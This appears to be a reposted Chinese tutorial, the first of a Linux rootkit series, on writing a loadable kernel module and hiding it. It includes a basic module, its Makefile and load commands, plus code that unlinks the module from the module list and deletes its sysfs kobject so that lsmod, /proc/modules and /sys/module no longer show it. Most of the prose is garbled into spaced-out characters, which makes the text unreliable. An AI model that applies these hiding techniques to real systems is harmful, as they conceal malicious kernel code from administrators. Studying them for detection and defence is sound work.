[8502] 2014-12-17_LinuxRootkit系列一:LKM的基础编写及隐藏

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-17
2014-12-17_LinuxRootkit系列一:LKM的基础编写及隐藏 L i n u x   R o o t k i t L K M F r e e B u f   2 0 1 4 - 1 2 - 1 7 使 使 l i n u x   r o o t k i t f r e e b u f r o o t k i t l i n u x   r o o t k i t f r e e b u f l i n u x   r o o t k i t l o a d a b l e   k e r n e l   m o d u l e   r o o t k i t ( L K M   r o o t k i t ) l k m l s m o d l k m   r o o t k i t 便 便 便 使 便 使 r o o t k i t l k m L K M l k m L K M L K M L o a d a b l e   K e r n e l   M o d u l e s l i n u x L K M L K M r o o t k i t 1 . L K M L K M / * l k m . c * /   # i n c l u d e   < l i n u x / m o d u l e . h >         # i n c l u d e   < l i n u x / k e r n e l . h >       # i n c l u d e   < l i n u x / i n i t . h >                   s t a t i c   i n t   l k m _ i n i t ( v o i d ) {         p r i n t k ( " A r c i r y a s : m o d u l e   l o a d e d n " ) ;         r e t u r n   0 ;         }   s t a t i c   v o i d   l k m _ e x i t ( v o i d ) {         p r i n t k ( " A r c i r y a s : m o d u l e   r e m o v e d n " ) ; }   m o d u l e _ i n i t ( l k m _ i n i t ) ; m o d u l e _ e x i t ( l k m _ e x i t ) ; l k m _ i n i t ( ) l k m _ i n i t ( ) 使 p r i n t k ( ) p r i n t f ( ) L K M 使 C p r i n t k ( ) p r i n t k ( ) p r i n t k ( K E R N _ A L E R T   " o u t p u t   m e s s a g e s " ) ; K E R N _ A L E R T m o d u l e _ i n i t m o d u l e _ e x i t L K M M a k e f i l e o b j - m       : =   l k m . o   K D I R         : =   / l i b / m o d u l e s / $ ( s h e l l   u n a m e   - r ) / b u i l d P W D         : =   $ ( s h e l l   p w d )
  d e f a u l t : $ ( M A K E )   - C   $ ( K D I R )   S U B D I R S = $ ( P W D )   m o d u l e s m a k e l k m . k o L K M i n s m o d i n s m o d   l k m . k o K E R N _ A L E R T , p r i n t k s y s l o g / v a r / l o g / m e s s a g e s s y s l o g c a t   / v a r / l o g / m e s s a g e s d m e s g p r i n t k 便 L K M l s m o d l s m o d l k m 6 7 6 0 使 l s m o d O K L K M L K M r m m o d r m m o d   l k m . k o l s m o d 2 . l s m o d d m e s g l s m o d r o o t k i t l s m o d l k m d m e s g p r i n t k ( ) l s m o d l s m o d 便 l s m o d l s m o d / p r o c / m o d u l e s / p r o c / m o d u l e s s t r u c t   m o d u l e s s t r u c t   m o d u l e s t r u c t   m o d u l e i n s m o d ( i n i t _ m o d u l e ) 便   s t r u c t   m o d u l e s t r u c t   m o d u l e * m o d u l e s m o d u l e s - > n e x t l s m o d l i s t _ d e l _ i n i t ( & _ _ t h i s _ m o d u l e . l i s t ) ; l i s t _ d e l _ i n i t i n c l u d e / l i n u x / l i s t . h s t a t i c   i n l i n e   v o i d   l i s t _ d e l _ i n i t   ( s t r u c t   l i s t _ h e a d   *   e n t r y ) {
          _ _ l i s t _ d e l   ( e n t r y - > p r e v ,   e n t r y - > n e x t ) ;           I N I T _ L I S T _ H E A D   ( e n t r y ) ; }   s t a t i c   i n l i n e   v o i d   _ _ l i s t _ d e l   ( s t r u c t   l i s t _ h e a d   *   p r e v ,   s t r u c t   l i s t _ h e a d   *   n e x t ) {           n e x t - >   p r e v   =   p r e v ;           p r e v - >   n e x t   =   n e x t ; }   s t a t i c   i n l i n e   v o i d   I N I T _ L I S T _ H E A D   ( s t r u c t   l i s t _ h e a d   *   l i s t ) {           l i s t - >   n e x t   =   l i s t ;           l i s t - >   p r e v   =   l i s t ; } " l i s t _ d e l _ i n i t ( & _ _ t h i s _ m o d u l e . l i s t ) " l s m o d l s m o d 3 . s y s f s l s m o d / p r o c / m o d u l e s s y s f s / s y s / m o d u l e / k o b j e c t _ d e l ( & T H I S _ M O D U L E - > m k o b j . k o b j ) ; T H I S _ M O D U L E i n c l u d e / l i n u x / m o d u l e . h e x t e r n   s t r u c t   m o d u l e   _ _ t h i s _ m o d u l e ; # d e f i n e   T H I S _ M O D U L E   ( & _ _ t h i s _ m o d u l e ) T H I S _ M O D U L E & T H I S _ M O D U L E - > m k o b j . k o b j s t r u c t   m o d u l e s t r u c t m o d u l e _ k o b j e c t s t r u c t   m o d u l e _ k o b j e c t {             s t r u c t   k o b j e c t   k o b j ;             s t r u c t   m o d u l e   * m o d ; } ; k o b j s t r u c t   k o b j e c t k o b j e c t s y s f s s y s f s r a m s y s f s k o b j e c t k o b j e c t 使 使 s y s f s / s y s / s y s / m o d u l e s y s f s ,   .   k o b j e c t _ d e l ( ) k o b j e c t / s y s / m o d u l e l k m " k o b j e c t _ d e l ( & T H I S _ M O D U L E - > m k o b j . k o b j ) ; " / s y s / m o d u l e l k m l k m l k m   r o o t k i t l k m   r o o t k i t s y s t e m   c a l l   h o o k l k m l i n u x " " p r o c s y s f s l i n u x " " g m a i l a r c i r y a s . y a n g [ / a r c i r y a s F r e e B u f F r e e b u f . C O M ]

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则